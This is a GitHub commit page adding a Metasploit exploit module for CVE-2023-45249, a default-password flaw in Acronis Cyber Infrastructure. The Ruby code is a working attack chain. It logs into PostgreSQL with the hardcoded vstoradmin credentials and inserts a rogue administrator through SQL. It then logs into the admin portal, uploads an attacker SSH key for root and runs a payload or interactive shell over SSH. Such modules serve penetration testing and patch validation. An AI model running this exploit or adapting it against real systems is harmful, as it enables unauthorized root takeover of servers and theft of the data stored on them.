Skip to content

Commit 1ba05ac

Browse files
committed
first release module
1 parent 7db428c commit 1ba05ac

File tree

1 file changed

+310
-0
lines changed

1 file changed

+310
-0
lines changed
Lines changed: 310 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,310 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'sshkey'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include BCrypt
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::Remote::Postgres
14+
include Msf::Exploit::Remote::SSH
15+
prepend Msf::Exploit::Remote::AutoCheck
16+
17+
# ssh_socket
18+
attr_accessor :ssh_socket
19+
20+
def initialize(info = {})
21+
super(
22+
update_info(
23+
info,
24+
'Name' => 'Acronis Cyber Infrastructure default password remote code execution',
25+
'Description' => %q{
26+
Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage,
27+
compute, and network resources. Businesses and Service Providers are using it for data storage,
28+
backup storage, creating and managing virtual machines and software-defined networks,running
29+
cloud-native applications in production environments.
30+
This module exploits a default password vulnerability in ACI which allow an attacker to access
31+
the ACI PostgreSQL database and gain administrative access to the ACI Admin Portal.
32+
This opens the door for the attacker to upload ssh keys that enables addministrative root acces
33+
to the appliance/server. This attack can be remotely executed over the WAN as long as the
34+
PostgreSQL and SSH services are exposed to the outside world.
35+
ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,
36+
5.3 before build 5.3.1-53, and 5.4 before build 5.4.4-132 are vulnerable.
37+
},
38+
'Author' => [
39+
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
40+
'Acronis International GmbH', # discovery
41+
],
42+
'References' => [
43+
['CVE', '2023-45249'],
44+
['URL', 'https://security-advisory.acronis.com/advisories/SEC-6452'],
45+
['URL', 'https://attackerkb.com/topics/T2b62daDsL/cve-2023-45249']
46+
],
47+
'License' => MSF_LICENSE,
48+
'Platform' => ['unix', 'linux'],
49+
'Privileged' => true,
50+
'Arch' => [ARCH_CMD],
51+
'Targets' => [
52+
[
53+
'Unix/Linux Command',
54+
{
55+
'Platform' => ['unix', 'linux'],
56+
'Arch' => ARCH_CMD,
57+
'Type' => :unix_cmd
58+
}
59+
],
60+
[
61+
'Interactive SSH',
62+
{
63+
'Type' => :ssh_interact,
64+
'DefaultOptions' => {
65+
'PAYLOAD' => 'generic/ssh/interact'
66+
},
67+
'Payload' => {
68+
'Compat' => {
69+
'PayloadType' => 'ssh_interact'
70+
}
71+
}
72+
}
73+
]
74+
],
75+
'DefaultTarget' => 0,
76+
'DisclosureDate' => '2024-07-24',
77+
'DefaultOptions' => {
78+
'SSL' => true,
79+
'RPORT' => 8888,
80+
'USERNAME' => 'vstoradmin',
81+
'PASSWORD' => 'vstoradmin',
82+
'DATABASE' => 'keystone',
83+
'SSH_TIMEOUT' => 30,
84+
'WfsDelay' => 5
85+
},
86+
'Notes' => {
87+
'Stability' => [CRASH_SAFE],
88+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
89+
'Reliability' => [REPEATABLE_SESSION]
90+
}
91+
)
92+
)
93+
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
94+
register_options([
95+
OptString.new('TARGETURI', [true, 'Path to the Acronis Cyber Infra application', '/']),
96+
OptBool.new('STORE_CRED', [false, 'Store user admin credentials into the database.', true]),
97+
OptPort.new('DBPORT', [true, 'PostgreSQL DB port', 5432]),
98+
OptPort.new('SSHPORT', [true, 'SSH port', 22])
99+
])
100+
register_advanced_options([
101+
OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10])
102+
])
103+
end
104+
105+
def run_query(query)
106+
@res_query = postgres_query(query)
107+
case @res_query.keys[0]
108+
when :conn_error
109+
vprint_error("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error.")
110+
return false
111+
when :sql_error
112+
vprint_warning("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}.")
113+
elog(@res_query[:sql_error])
114+
return false
115+
when :complete
116+
vprint_good("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Query: #{query} successful.")
117+
return true
118+
else
119+
vprint_error("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown.")
120+
return false
121+
end
122+
end
123+
124+
def add_admin_user(username, userid, password)
125+
# add an admin user to the Acronis PostgreSQL DB (keystone) using default credentials (vstoradmin:vstoradmin)
126+
vprint_status("Creating admin user #{username} with userid #{userid}")
127+
128+
# add new admin user to the user table
129+
return false unless run_query("insert into \"user\" values(\'#{userid}\','{}','T',NULL,NULL,NULL,'default');")
130+
131+
# add new admin user to the local_user table
132+
return false unless run_query('select * from "local_user" where id = ( select MAX (id) from "local_user" );')
133+
134+
id_luser = @res_query[:complete].rows[0][0].to_i + 1
135+
return false unless run_query("insert into \"local_user\" values(#{id_luser},\'#{userid}\','default',\'#{username}\',NULL,NULL);")
136+
137+
# hash the password
138+
password_hash = Password.create(password)
139+
today = Date.today
140+
vprint_status("Setting password #{password} with hash #{password_hash}")
141+
return false unless run_query('select * from "password" where id = ( select MAX (id) from "password" );')
142+
143+
id_pwd = @res_query[:complete].rows[0][0].to_i + 1
144+
return false unless run_query("insert into \"password\" values(#{id_pwd},#{id_luser},NULL,'F',\'#{password_hash}\',0,NULL,DATE \'#{today}\');")
145+
146+
# Getting the admin roles and assign this to the new admin user
147+
vprint_status('Getting the admin roles')
148+
return false unless run_query("select * from \"project\" where name = 'admin' and domain_id = 'default';")
149+
150+
id_project_role = @res_query[:complete].rows[0][0]
151+
return false unless run_query("select * from \"role\" where name = 'admin';")
152+
153+
id_admin_role = @res_query[:complete].rows[0][0]
154+
vprint_status("Assigning the admin roles: #{id_project_role} and #{id_admin_role}")
155+
return false unless run_query("insert into \"assignment\" values('UserProject',\'#{userid}\',\'#{id_project_role}\',\'#{id_admin_role}\','F')")
156+
157+
vprint_status("Succesfully created admin user #{username} with password #{password} to access the Acronis Admin Portal.")
158+
true
159+
end
160+
161+
def do_sshlogin(ip, user, ssh_opts)
162+
# create SSH session.
163+
# based on the ssh_opts can this be key or password based.
164+
# if login is successfull, return true else return false. All other errors will trigger an immediate fail
165+
begin
166+
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
167+
self.ssh_socket = Net::SSH.start(ip, user, ssh_opts)
168+
end
169+
rescue Rex::ConnectionError
170+
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
171+
rescue Net::SSH::Disconnect, ::EOFError
172+
fail_with(Failure::Disconnected, 'Timed out during negotiation')
173+
rescue Net::SSH::AuthenticationFailed
174+
return false
175+
rescue Net::SSH::Exception => e
176+
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
177+
end
178+
179+
fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
180+
return true
181+
end
182+
183+
def aci_login(name, pwd)
184+
# Login at the Acronis Cyber Infrastructure web portal
185+
post_data = {
186+
username: name.to_s,
187+
password: pwd.to_s
188+
}.to_json
189+
res = send_request_cgi({
190+
'method' => 'POST',
191+
'ctype' => 'application/json',
192+
'keep_cookies' => true,
193+
'headers' => {
194+
'X-Requested-With' => 'XMLHttpRequest'
195+
},
196+
'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'login'),
197+
'data' => post_data.to_s
198+
})
199+
return true if res&.code == 200
200+
201+
false
202+
end
203+
204+
def upload_sshkey(sshkey)
205+
# Upload the SSH public key at the Acronis Cyber Infrastructure web portal
206+
post_data = {
207+
key: sshkey.to_s,
208+
event:
209+
{
210+
name: 'SshKeys',
211+
method: 'post',
212+
data:
213+
{
214+
key: sshkey.to_s
215+
}
216+
}
217+
}.to_json
218+
res = send_request_cgi({
219+
'method' => 'POST',
220+
'ctype' => 'application/json',
221+
'keep_cookies' => true,
222+
'headers' => {
223+
'X-Requested-With' => 'XMLHttpRequest'
224+
},
225+
'uri' => normalize_uri(target_uri.path, 'api', 'v2', '1', 'ssh-keys'),
226+
'data' => post_data.to_s
227+
})
228+
return true if res&.code == 202 && res.body.include?('task_id')
229+
230+
false
231+
end
232+
233+
def execute_command(cmd, _opts = {})
234+
Timeout.timeout(datastore['WfsDelay']) { ssh_socket.exec!(cmd) }
235+
rescue Timeout::Error
236+
@timeout = true
237+
end
238+
239+
def check_port(port)
240+
# checks network port and return true if open and false if closed.
241+
Timeout.timeout(datastore['ConnectTimeout']) do
242+
TCPSocket.new(datastore['RHOST'], port).close
243+
return true
244+
rescue StandardError
245+
return false
246+
end
247+
rescue Timeout::Error
248+
return false
249+
end
250+
251+
def check
252+
# TODO: Improve check
253+
CheckCode::Appears
254+
end
255+
256+
def exploit
257+
# connect to the PostgreSQL DB with default credentials
258+
fail_with(Failure::Unreachable, "Can not connect to PostgreSQL DB on port #{datastore['DBPORT']}.") unless postgres_login({ port: datastore['DBPORT'] }) == :connected
259+
260+
# add a new admin user
261+
username = Rex::Text.rand_text_alphanumeric(5..8).downcase
262+
userid = SecureRandom.hex
263+
password = Rex::Text.rand_password
264+
print_status("Creating admin user #{username} with password #{password} for access at the Acronis Admin Portal.")
265+
fail_with(Failure::BadConfig, "Adding admin credentials #{username}:#{password} failed.") unless add_admin_user(username, userid, password)
266+
267+
# Storing credentials in the msf database
268+
if datastore['STORE_CRED']
269+
print_status('Saving admin credentials at the msf database.')
270+
store_valid_credential(user: username, private: password)
271+
end
272+
273+
# log out from the postsgreSQL DB
274+
postgres_logout if postgres_conn
275+
276+
# create SSH key pair
277+
print_status('Creating SSH private and public key.')
278+
k = SSHKey.generate(type: 'RSA', bits: 2048)
279+
vprint_status(k.private_key)
280+
vprint_status("#{k.ssh_public_key} root")
281+
282+
# log in with the new admin user credentials at the Acronis Admin Portal
283+
fail_with(Failure::NoAccess, "Failed to authenticate at the Acronis Admin Portal with #{username} and #{password}") unless aci_login(username, password)
284+
285+
# upload the public ssh key at the Acronis Admin Portal to enable root access via SSH
286+
print_status('Uploading SSH public key at the Acronis Admin Portal.')
287+
fail_with(Failure::NoAccess, 'Failed to upload SSH public key.') unless upload_sshkey("#{k.ssh_public_key} root")
288+
289+
# login with SSH private key to establish SSH root session
290+
ssh_opts = ssh_client_defaults.merge({
291+
auth_methods: ['publickey'],
292+
key_data: [ k.private_key ],
293+
port: datastore['SSHPORT']
294+
})
295+
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
296+
297+
print_status('Authenticating with SSH private key.')
298+
fail_with(Failure::NoAccess, 'Failed to authenticate with SSH.') unless do_sshlogin(datastore['RHOST'], 'root', ssh_opts)
299+
300+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
301+
case target['Type']
302+
when :unix_cmd
303+
execute_command(payload.encoded)
304+
when :ssh_interact
305+
handler(ssh_socket)
306+
return
307+
end
308+
@timeout ? ssh_socket.shutdown! : ssh_socket.close
309+
end
310+
end

0 commit comments

Comments
 (0)